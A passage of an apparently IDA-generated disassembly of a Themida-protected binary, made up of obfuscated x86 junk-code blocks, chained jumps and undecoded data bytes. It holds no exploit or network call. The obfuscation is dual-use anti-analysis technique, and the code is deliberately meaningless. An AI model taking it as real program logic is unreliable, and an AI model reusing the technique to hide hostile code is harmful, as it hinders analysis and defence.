; ---------------------------------------------------------------------------


loc_58694C:				; CODE XREF: Themida_:0058E163j
		not	esi
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		neg	edi
		dec	edi
		push	esi
		mov	esi, 7EB8206Dh
		shr	esi, 5
		push	esi
		not	dword ptr [esp]
		pop	esi
		or	esi, 1030698Ch
		or	esi, 29585E00h
		jmp	loc_5862D2
; ---------------------------------------------------------------------------
		dw 0F300h
aZsa		db 'ZéA(',0
		align 2


loc_58697E:				; CODE XREF: Themida_:00589910j
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		add	ecx, 0A52DCF05h
		add	ebp, ecx
		jmp	loc_58B95C
; ---------------------------------------------------------------------------
		db 1, 0F7h, 81h
		dd 314C48C7h, 3C875E05h, 24248B24h, 0F66E1F6h, 6866CCB6h
		dd 0CDE966C7h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5869AF:				; CODE XREF: Themida_:0059146Cj
		push	edx
		push	4A1418F2h
		pop	edx
		neg	edx
		or	edx, 0C3F2F64h
		or	edx, 1C962704h
		sub	edx, 0BA6C77A3h
		jmp	loc_58E0DD
; ---------------------------------------------------------------------------
aVs		db '³‚é»#',0
		align 2
word_5869D6	dw 8B66h		; DATA XREF: Themida_:00585BACo
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 67092B7Bh
		push	ecx
		jmp	loc_5864C3
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0DFh
		dd 0F762810Eh, 0E9EED1D6h, 6744h, 245BE56h, 0C68122B9h
		dd 6D2D5B7Ch, 6802C681h, 0F68125C5h, 0B5ABC5C7h, 875EF129h
		dd 7E9240Ch
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_586A1B:				; CODE XREF: Themida_:0058FC1Fj
		dec	edx
		dec	edx
		xor	edx, 3D8A633Bh
		push	ebx
		mov	ebx, 0C8D0F2Ch
		jmp	loc_58EC7F
; ---------------------------------------------------------------------------
word_586A2E	dw 8B66h		; DATA XREF: Themida_:00585A38o
		dd 45E9240Ch, 0FF00002Dh, 34FF2434h, 0C4835A24h, 4EC8304h
		dd 9A66E9h, 242C8700h, 241C895Ch, 1C88D388h, 241C8B87h
		dd 0E904C483h, 0FFFFF263h, 4EC81h, 4890000h, 9D55E924h
		dd 0C8B0000h, 4C48324h,	133E95Ah, 0F2810000h, 6548E257h
		dd 51CB22Dh, 0E9D00121h, 873Fh,	44C7E953h, 0E0890000h
		dd 405h, 40500h, 4870000h, 0BA525C24h, 0F560696h, 438CE9h
		dd 0F6814600h, 796058C4h, 2A13F42Dh, 52F0291Ch,	668CBF57h
		dd 0EF810D81h, 37230FCBh, 53B7F781h, 0FA898F3Dh, 0BFF2815Fh
		dd 81145568h, 0BE6038EAh, 7EAC159h, 23D9B951h, 76E91A43h
		dd 81000073h, 0D71027C9h, 8EC98179h, 0E9028A59h, 0AE22h
		dd 7327C681h, 815818B1h, 2C6h, 24343300h, 33243431h, 0DE92434h
		dd 0E9000091h, 0FFFFF1A7h, 5328E95Ch, 0E7890000h, 2988E9h
		dd 0E90FB200h, 5262h, 0E924248Bh, 0FFFFF18Bh
; ---------------------------------------------------------------------------


loc_586B38:				; CODE XREF: Themida_:00589884j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_587FA6
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 2424D35Ch, 0F165E99Ch, 0E957FFFFh, 699Ch
dword_586B64	dd 9C241CF6h, 0FFF156E9h, 3CE95EFFh		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586B73:				; CODE XREF: Themida_:005908F4j
		push	edi
		mov	edi, 1
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 21CA456Dh
		add	ebx, 0DE35BA97h
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_58DC05
; ---------------------------------------------------------------------------
		db 68h,	0F3h, 0Ch
		dd 3C890000h, 55E78924h, 2175E9h
		db 0
byte_586BBD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585C28o
		dd 0F95AE924h, 0C483FFFFh, 14BF5704h, 81776779h, 0B6170EF7h
		dd 67F78147h, 31272241h, 3B31E9F8h
		db 2 dup(0)
word_586BE2	dw 34FFh		; DATA XREF: Themida_:00585A70o
		dd 240C8B24h, 81595451h, 4C1h, 4C18300h, 0E9240C87h, 3B44h
dword_586BFC	dd 4EC81ADh, 89000000h,	0ABA2414h, 5526810h, 1095A79h
					; DATA XREF: Themida_:00585B3Co
		dd 0AF94E9h, 0F7665C00h, 646866E1h, 1489667Ch, 9C506624h
		dd 8B6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_586C29:				; CODE XREF: Themida_:0058FCB0j
		xor	ebx, 32813FF3h
		push	ecx
		push	esi
		mov	esi, 2505D94h
		mov	ecx, esi
		pop	esi
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58F869
; ---------------------------------------------------------------------------
byte_586C41	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:00585BB0o
aRhE		db 'RhÀe',0
		align 2
		dw 6E9h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586C4F:				; CODE XREF: Themida_:00591919j
		sub	esi, ebp
		sub	esi, 15D60C77h
		pop	ebp
		jmp	loc_58E7B9
; ---------------------------------------------------------------------------
aSI		db '^é',9,'©',0
		db 0
; ---------------------------------------------------------------------------


loc_586C63:				; CODE XREF: Themida_:005888D5j
		push	ebx
		push	esp
		jmp	loc_589BE6
; ---------------------------------------------------------------------------
		dw 5166h
		dd 0F051E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_586C72:				; CODE XREF: Themida_:00587CB0j
		pop	esi
		push	2FEBh
		jmp	loc_590EEA
; ---------------------------------------------------------------------------


loc_586C7D:				; CODE XREF: Themida_:0058AF49j
		mov	[esp], esi
		push	12C1h
		mov	[esp], eax
		push	esi
		jmp	loc_588DA1
; ---------------------------------------------------------------------------
word_586C8E	dw 8B66h		; DATA XREF: Themida_:00585BB8o
		dd 0C068240Ch, 8900005Ch, 0E189240Ch, 4C181h, 3DE90000h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586CA7:				; CODE XREF: Themida_:0058811Fj
		xor	edi, ebp
		xor	ebp, edi
		push	3F52h
		jmp	loc_58628B
; ---------------------------------------------------------------------------


loc_586CB5:				; CODE XREF: Themida_:0058F123j
		mov	edx, [esp]
		add	esp, 4
		sub	bl, dh
		add	bl, 0FBh
		jmp	loc_58C28C
; ---------------------------------------------------------------------------
		db 53h,	51h, 0B1h
		dd 59CF885Ch, 88F98851h, 1C8B59CEh, 4C48324h, 0F680D6F6h
		dd 0F48850A6h, 48BE788h, 4C48124h, 5A000000h, 0FCDDE953h
		dd 0C33FFFFh, 240C3124h, 5C240C33h, 4EC81h, 34890000h
		dd 0E9E68924h, 78E5h, 635E8D1h,	11320A5h, 0A8E958C2h, 87FFFFEFh
		dd 0F9E92434h, 0BBFFFFFDh, 2, 335BDD01h, 0A6E9242Ch, 81000076h
		dd 0B13F3AC6h, 81D6F774h, 407C3EEEh, 5EF7017Bh,	0FFF620E9h
		dd 2434FFFFh, 9DEE958h
		db 2 dup(0)
word_586D52	dw 5ADh			; DATA XREF: Themida_:00585AA0o
		dd 36F04701h, 69C9B951h, 0EC813CA2h, 4,	0BE243489h, 4FEC583Ah
		dd 4604EEC1h, 0C9EBF681h, 0F1317F39h, 7FB3E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586D7E:				; CODE XREF: Themida_:0058A39Fj
		mov	eax, 6DF622DBh
		dec	eax
		push	edx
		jmp	loc_588E3E
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 1943C681h, 0CE8130B2h, 4DF65C18h, 26B5B951h,	0C1814DE5h
		dd 2A3C13ABh, 10E9CE01h, 8100008Fh, 4C6h, 4C68100h, 0E9000000h
		dd 3EEDh, 6624248Bh, 0E9240C8Bh, 7CA1h,	7B96C181h, 0C829050Eh
		dd 24148B59h, 85F9E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586DDA:				; CODE XREF: Themida_:0058F724j
		mov	ebx, edx
		pop	edx
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58728D
; ---------------------------------------------------------------------------
aLSt		db '‹$$éâ^',0           ; DATA XREF: Themida_:00585B6Co
		align 2
aUBgoBFqIslScf	db 'U½¡gŽ%Å^”qÚ‰é‹,$éCf',0
		align 4
dword_586E14	dd 240C8B66h, 1DDE68h, 242C8900h, 0EC83E589h, 241C8904h
					; DATA XREF: Themida_:00585B10o
		dd 4BBh, 8EBB5300h, 8144C903h, 180E74E3h, 0E9D3F77Ch, 7BCDh
		dd 0FFEE7EE9h, 6DB768FFh, 0C890000h, 0DB65224h,	0E9F78853h
		dd 9149h, 0B5E189B8h, 58C329C1h, 7FAEE981h, 0D0E9598Ah
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586E6B:				; CODE XREF: Themida_:0058C75Dj
		mov	[esp], eax
		push	0A836A2Dh
		pop	eax
		xor	[esp+4], eax
		pop	eax
		jmp	loc_58B0CE
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 33E90424h, 53000099h, 8904EC83h, 82BE2434h, 0BB1A3819h
		dd 3F083C9Ch, 0A386E9h,	0E9E38900h, 8912h
; ---------------------------------------------------------------------------


loc_586EA4:				; CODE XREF: Themida_:00587714j
		pop	esp
		push	ebx
		mov	bh, 0E7h
		sub	al, 0B9h
		sub	al, bh
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_589010
; ---------------------------------------------------------------------------
		db 48h
		dd 49142540h, 51350E2Fh, 29E798BEh, 0F78958C6h,	7C80E95Eh
		dd 0E9520000h, 0DDDh, 0F828E204h, 5BE22Ch, 3703E9D8h, 0C4810000h
		dd 2, 815AF030h, 4ECh, 240C8900h, 2659E9h, 5DEE0100h, 4EC81h
		dd 13E90000h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586F0B:				; CODE XREF: Themida_:0058BB6Dj
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_586F17:				; CODE XREF: Themida_:0058F049j
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_590E5E
; ---------------------------------------------------------------------------
		db 2Dh
		dd 1353D63h, 78BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_586F35:				; CODE XREF: Themida_:0058ADA9j
		add	ecx, 8E6319Fh
		pop	ebp
		jmp	loc_58CBF3
; ---------------------------------------------------------------------------
byte_586F41	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585AACo
		dd 0E2C6824h, 2C890000h, 51E58924h, 4B9h, 0E9CD0100h, 0A66h
		dd 81243C8Bh, 4C4h, 74FF5000h, 34FF0424h, 89575824h, 4C781E7h
		dd 81000000h, 4C7h, 243C3300h, 33243C31h, 8F5C243Ch, 0FF5C2404h
		dd 48B2434h, 7E45E924h,	0C3810000h, 4, 5C241C87h, 21E9BD55h
		dd 0E94D4C1Ch, 6D89h, 59C8315Eh, 218468h, 242C8900h, 800BDh
		dd 0FFE82100h, 22E92434h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_586FC7:				; CODE XREF: Themida_:005911D7j
		add	ebp, edi
		push	esi
		mov	esi, 83658C2h
		add	esi, 0FFFFFFFFh
		inc	esi
		or	esi, 3A37526Ch
		jmp	loc_589AD1
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704C2h, 14A3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586FF2:				; CODE XREF: Themida_:0058E8C5j
		push	ebp
		jmp	loc_58AF1D
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2404FFh, 0FFECBEE9h, 47D7F7FFh,	94FAE9h
		dd 4AF1BD00h, 0C581A880h, 36027AB5h, 0ED81F529h, 36027AB5h
		dd 89E7E9h, 0EDB35300h,	1F96E9h, 0E9F83100h, 5D50h, 0E904B551h
		dd 0FFFFF547h, 0E4C0D4F6h, 0F6DCF607h, 6DC480DCh, 8858E688h
		dd 24148BF5h, 0E904C483h, 464Dh, 4B9515Eh, 29000000h, 559E9C8h
		dd 68660000h, 0BBE92974h
		db 3Eh,	2 dup(0)
byte_58706F	db 66h			; DATA XREF: Themida_:00585B44o
		dd 5024048Bh, 8957E089h, 4C781E7h, 81000000h, 4EFh, 8F59E900h
		db 2 dup(0)
word_58708A	dw 34FFh		; DATA XREF: Themida_:00585AF8o
		dd 24048B24h, 20E5E9h, 2474FF00h, 2434FF04h, 4C48358h
		dd 8B24048Fh, 9BE92424h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5870AB:				; CODE XREF: Themida_:0058B937j
		mov	dl, 0C3h
		jmp	loc_590D1E
; ---------------------------------------------------------------------------
		dw 0EAD1h
		dd 59F8BF57h, 0E7D1272Ch, 68h, 243C2900h, 83E7815Fh, 81473005h
		dd 506D26CFh, 45FBE91Eh, 4890000h, 4B076824h, 1C890000h
		dd 4002BB24h, 0D8891C41h, 5924255Bh, 0EC3541D7h, 0E9589D03h
		dd 8A7Dh
dword_5870F8	dd 24048B66h, 115C68h, 241C8900h, 0C381E389h, 4, 8704EB83h
					; DATA XREF: Themida_:00585C1Co
		dd 2FE9241Ch
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587117:				; CODE XREF: Themida_:0058E281j
		shr	edi, 5
		push	ecx
		push	edx
		mov	edx, 55C8598Ch
		mov	ecx, edx
		jmp	loc_586238
; ---------------------------------------------------------------------------


loc_587128:				; CODE XREF: Themida_:0058794Fj
		mov	ebx, 5564649h
		mov	ebp, 556464Dh
		sub	ebp, 3C387017h
		jmp	loc_58D760
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4ECh, 241C8900h, 5801E9h, 73486800h,	0D1E90000h, 0F700007Fh
		dd 56EE9D8h, 0E9010000h, 0E95E515Dh, 45B7h
; ---------------------------------------------------------------------------


loc_587168:				; CODE XREF: Themida_:0058CBF5j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 3E8F5E01h
		sub	esp, 4
		jmp	loc_58D345
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 14286824h, 0D3E90000h, 8B00006Bh, 1662424h, 0E99C2404h
		dd 5371h
; ---------------------------------------------------------------------------


loc_5871A4:				; CODE XREF: Themida_:0058A07Bj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_58BCA2
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0FF24248Bh, 68582434h, 1F12h, 89240C89h
		db 0E1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58D07D
; ---------------------------------------------------------------------------
byte_5871D3	db 0FFh			; DATA XREF: Themida_:00585C64o
		dd 0E8E94077h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5871DB:				; CODE XREF: Themida_:00590F15j
		sub	al, ch
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4FE40D78h
		sub	ecx, 13FC19F5h
		push	eax
		mov	eax, 1
		add	ecx, eax
		pop	eax
		sub	ecx, 7512745Dh
		add	ecx, 392A80DDh
		add	esi, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_58AA61
; ---------------------------------------------------------------------------
		db 51h
		dd 672503B9h, 2BC28150h, 10CA519h, 736DE9CAh, 0F8290000h
		dd 8D8BE9h, 0D9B15100h,	0E180E1D0h, 20F1805Bh, 0C8BCE28h
		dd 4C48124h, 0
		dd 5B37E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58725E:				; CODE XREF: Themida_:0058FEF8j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_589454
; ---------------------------------------------------------------------------


loc_58726A:				; CODE XREF: Themida_:0058C478j
		add	edi, 4
		jmp	loc_585E25
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0C1h
		dd 0E95202E8h, 6B34h, 7ADEC681h, 0DEF7403Dh, 9F22E9h
		db 0
; ---------------------------------------------------------------------------


loc_58728D:				; CODE XREF: Themida_:00586DF1j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		dw 0F029h
		dd 1C2EE9h, 4EC8300h, 0BA241489h, 7D5B15E0h, 0E9FFC283h
		dd 149Ah, 4F07E7C1h, 5B11EF81h,	0F78170ACh, 0B4C2497Ch
		dd 815FFD31h, 942B03EDh, 74C5813Ch, 1DF8AECh, 0B8505DEAh
		dd 2, 0E2E9C201h, 8100002Eh, 0F93421CAh, 8CAAE90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5872E6:				; CODE XREF: Themida_:0058A515j
		pop	edx
		jmp	loc_58A339
; ---------------------------------------------------------------------------
		dd 76B4BF57h, 6AE92CF6h, 81000044h, 2E24E1EEh, 0EE815A74h
		dd 6EA157F2h, 1DD9E9h, 815A5400h, 4C2h,	4EA8100h, 33000000h
		dd 14312414h, 24143324h, 0FFF147E9h, 405FFh, 57530000h
		dd 0E9077368h, 0B8505F1Ah, 0E516F891h, 0E958C701h, 6E6Dh
; ---------------------------------------------------------------------------


loc_587340:				; CODE XREF: Themida_:00591095j
		pop	ebx
		and	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5918B3
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0A57BB4BAh, 8BD10143h, 0C4832414h, 0BA9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_587372:				; CODE XREF: Themida_:00590FE9j
		push	ecx
		mov	ecx, 3B365A85h
		or	ecx, 50EF61C7h
		sub	ecx, 2B6B577Fh
		mov	ebx, ecx
		jmp	loc_58B6EF
; ---------------------------------------------------------------------------


loc_58738B:				; CODE XREF: Themida_:0058616Dj
		xor	ebx, eax
		mov	eax, [esp]
		jmp	loc_591533
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFF78CE9h, 59CF01FFh, 66CE9h
		db 0
byte_5873A5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00585B08o
		dd 818E958h, 0F75C0000h, 7DA868F9h, 14890000h, 0E99C5024h
		dd 2F4Dh
; ---------------------------------------------------------------------------


loc_5873C0:				; CODE XREF: Themida_:0058F341j
		pop	esp
		push	1F3Dh
		mov	[esp], edx
		mov	dl, 0CEh
		push	ax
		mov	ah, 1Dh
		sub	dl, ah
		pop	ax
		sub	al, 4Fh
		jmp	loc_5892C7
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3DABB924h, 0F18119BFh, 61635267h, 11B7BF57h,	0E7813E05h
		dd 18683D43h, 426CEF81h, 0F7577908h, 565F2414h,	96060BBEh
		dd 8BF73102h, 0C4812434h, 4, 7CD3E981h,	0F929260Eh, 7CD3C181h
		dd 0E95F260Eh, 1C09h
; ---------------------------------------------------------------------------


loc_587424:				; CODE XREF: Themida_:0058D18Aj
		pop	ebp
		push	2D91h
		jmp	loc_58884B
; ---------------------------------------------------------------------------
		db 81h
		dd 532BEDC1h, 4EE98104h, 0E94AEE5Eh, 8B96h, 0B8240489h
		dd 0E8C794Dh, 58404731h, 9749E9h, 482B100h, 0E9C800F4h
		dd 9012h, 0E1E9D889h
		db 44h,	2 dup(0)
byte_587463	db 66h			; DATA XREF: Themida_:00585A7Co
		dd 6824048Bh, 3DEDh, 54241489h,	8B2434FFh, 0C4832414h
		dd 0EC9EE904h, 0C87FFFFh, 88A4E924h
		db 2 dup(0)
word_587486	dw 34FFh		; DATA XREF: Themida_:00585C18o
		dd 2434FF24h, 0E1895159h, 8C93E956h, 2BA0000h, 57000000h
		dd 0BB2158BFh, 78F7810Dh, 11E353Dh, 0BF575FFBh,	8865E57h
		dd 0DEE9FB29h, 5A0000A1h, 0E924048Fh, 4085h
; ---------------------------------------------------------------------------


loc_5874C0:				; CODE XREF: Themida_:0058DB73j
		sub	edx, 4
		jmp	loc_58E4D7
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 815FFB01h, 4C3h, 241C8700h, 89E9555Ch, 0E900005Ch
		dd 0FFFFE7DBh, 7557EF81h, 0CEE918F4h, 81000036h, 4ECh
		dd 240C8900h, 0BE565954h, 4, 3CAEE9h, 0D5F76600h, 0A27E9h
		dd 13BBD00h, 0C5813699h, 0FFFFFFFFh, 339FCD81h,	0E94D5826h
		dd 1316h, 24048966h, 26E93AB4h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587533:				; CODE XREF: Themida_:005890EAj
		push	5EE37199h
		jmp	loc_587B45
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0Dh
		dd 2330188Fh, 1118E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58754A:				; CODE XREF: Themida_:00587BC1j
		mov	[esp], esi
		jmp	loc_58B200
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6DA8F581h, 0EA891861h, 3DCA815Dh,	81155C20h, 70242CAh
		dd 0AEC28140h, 1D1A8D3h, 6E95AD1h, 30000033h, 0E99C2404h
		dd 851Ch, 8403C425h, 99B95118h,	8150E31Ch, 0D46A8BC9h
		dd 59E98106h, 81156B15h, 0C6A00F1h, 4847E941h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5875A6:				; CODE XREF: Themida_:005864BEj
		add	esi, 4
		jmp	loc_58AC1D
; ---------------------------------------------------------------------------
aXhz		db 'Xh§',0Dh,0
		dw 8900h
		dd 0D6E9241Ch, 5900007Bh, 5C240487h, 0B8240489h, 2530251Eh
		dd 4244429h, 242C8158h,	49255AF8h, 9F9EE9h, 241C8900h
		dd 0A765FCBBh, 0E9E3D15Fh, 6F23h
dword_5875EC	dd 81D830ACh, 4ECh, 3B11E900h, 0C6810000h, 60ED206Ch, 0EE81CE01h
					; DATA XREF: Themida_:00585B90o
		dd 60ED206Ch, 81240C8Bh, 4C4h, 4D4EE900h, 51250000h, 835EA775h
		dd 0D8F7FFE8h, 0B135D0F7h, 297E376Ah, 0EF8158C7h, 0D471DDA1h
		dd 0E95FF801h, 4CFCh, 0FF1C4F21h, 0C8B2434h, 4C48324h
		dd 363DE957h, 3C890000h, 31685324h, 5B447C2Eh, 24148753h
		dd 1487D2F7h, 0E3C15B24h, 0B2F38103h, 89E6C6F4h, 1551E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58766E:				; CODE XREF: Themida_:00588C77j
		mov	[esp], ecx
		jmp	loc_5878A8
; ---------------------------------------------------------------------------
		dw 489h
		dd 1AC56824h, 2C890000h, 6956BD24h, 6C292F10h, 35E90424h
		dd 59000049h, 19BCB850h, 0E966E6h, 81000081h, 4717D9CDh
		dd 21B85055h, 0C10F2A59h, 534808E8h, 517EE9h, 59EB8800h
		dd 0DC88D3F6h, 2424865Bh, 0FFE602E9h, 4BD55FFh,	0E9000000h
		dd 5704h, 7B93012Dh, 8BC789DCh,	92E92404h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5876DB:				; CODE XREF: Themida_:005892D9j
		sub	al, bl
		jmp	loc_58A6C6
; ---------------------------------------------------------------------------


loc_5876E2:				; CODE XREF: Themida_:0058AD78j
		push	dword ptr [esp]
		pop	esi
		push	eax
		jmp	loc_586198
; ---------------------------------------------------------------------------
		dd 0EF81EF01h, 1AAE4070h, 243C335Dh, 33243C31h,	215C243Ch
		dd 0E99C2404h, 23B4h
; ---------------------------------------------------------------------------


loc_587708:				; CODE XREF: Themida_:0058AAFFj
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_586EA4
; ---------------------------------------------------------------------------


loc_587719:				; CODE XREF: Themida_:0058DC51j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_587E63
; ---------------------------------------------------------------------------
		dd 4EC8356h, 24048F54h,	8D12E9h, 1F656800h, 2C890000h
		dd 0E95D5824h, 54C0h
dword_58774C	dd 9D1C77FFh, 1CD35966h, 68E99C24h, 87FFFFE5h, 895C242Ch
					; DATA XREF: Themida_:00585C08o
		dd 9E92404h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_587767:				; CODE XREF: Themida_:00591656j
		mov	esp, [esp]
		imul	cx
		push	3F5Ch
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_58C42F
; ---------------------------------------------------------------------------
		dd 7A2A68h, 241C8900h, 8904EC83h, 1168240Ch, 0FF0E9C13h
		dd 0C8B2434h, 4C48324h,	81E68956h, 4C6h, 4C68100h, 87000000h
		dd 0E95C2434h, 452Bh, 1E9EA31h,	5C000088h, 8B24048Fh, 0C8852424h
		dd 0E4FDE99Ch, 0F281FFFFh, 651B4F0Bh, 685AD631h, 3564h
		dd 0BE243489h, 379779EEh, 1F83C781h, 0F7013BC4h, 8B1E9h
		dd 59C80100h, 5C240487h, 240C8B66h, 81E78957h, 4C7h, 4EF8100h
		dd 0E9000000h, 5CDCh
; ---------------------------------------------------------------------------


loc_587808:				; CODE XREF: Themida_:00589A88j
		add	ebp, 0C1A38812h
		jmp	loc_589F91
; ---------------------------------------------------------------------------
		db 5
		dd 22844F40h, 0FFFD67E9h, 241489FFh, 4D7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_587825:				; CODE XREF: Themida_:0058AE9Bj
		add	ebx, 3DAF1E0Fh
		push	eax
		mov	eax, 2170683Ah
		sub	ebx, eax
		mov	eax, [esp]
		jmp	loc_58C8DD
; ---------------------------------------------------------------------------


loc_58783B:				; CODE XREF: Themida_:005862A7j
		xor	edi, ebp
		xor	ebp, edi
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 3EBD73B7h
		push	esi
		mov	esi, 7C8F4A68h
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 65B67FE1h
		sub	eax, 60195AEFh
		add	eax, 1
		xor	eax, 7B55518Bh
		jmp	loc_58ADAE
; ---------------------------------------------------------------------------
		dd 25B7BF57h, 0F82968ACh, 0E9243C8Bh, 67EBh, 0E8283ABEh
		dd 3BB95178h, 3178E828h, 3F37E9CEh, 0F3800000h,	5BD80001h
		dd 0E9240C8Bh, 0FFFFE8CAh
; ---------------------------------------------------------------------------


loc_5878A8:				; CODE XREF: Themida_:00587671j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_591B80
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704EAh, 0ABE95C24h, 0FF000032h, 8B042474h
		dd 8950241Ch, 405E0h, 4050000h,	87000000h, 0D4E92404h
		dd 1FFFFFEh, 0E428E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5878EA:				; CODE XREF: Themida_:0058B7BBj
		add	esp, 4
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	edx
		mov	edx, 0
		add	edx, eax
		add	[edx], esi
		pop	edx
		pop	eax
		pop	esi


loc_587902:				; CODE XREF: Themida_:0058C5E8j
		push	ebp
		jmp	loc_58D4DD
; ---------------------------------------------------------------------------
aI4Hn		db '‰4$h,',0
		align 10h
		dd 8904EC83h, 4812424h,	424h, 24048F00h, 4240481h, 5E000000h
		dd 4C681h, 0A3E90000h, 0E9FFFFE3h, 0FFFFE38Bh, 8152E901h
		dd 4ECh, 242C8900h, 0D6211268h,	2E57E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58794E:				; CODE XREF: Themida_:0058D42Cj
		push	ebx
		jmp	loc_587128
; ---------------------------------------------------------------------------
dword_587954	dd 592434FFh, 127468h, 240C8900h, 0ACE9E189h, 81000037h
					; DATA XREF: Themida_:00585AC0o
		dd 4ECh, 80CDE900h, 0E9C10000h,	7E18106h, 815A9E27h, 0B13EBBF1h
		dd 0EFC18144h, 12CE1DDh, 0C60159CEh, 1DA9BA52h,	0C681719Dh
		dd 5DDE35B8h, 0EE81D629h, 5DDE35B8h, 4ED1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5879A6:				; CODE XREF: Themida_:00590D6Bj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_588124
; ---------------------------------------------------------------------------
		dd 0D828222Ch, 34FF2204h, 19E5E924h, 81590000h,	4ECh, 243C8900h
		dd 0F5D0BBFh, 87DFF71Ah, 14F752D7h, 5AC6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5879DE:				; CODE XREF: Themida_:0058B4EDj
		xor	esi, 3212506Fh
		add	ebx, esi
		jmp	loc_58F9E5
; ---------------------------------------------------------------------------
		db 66h
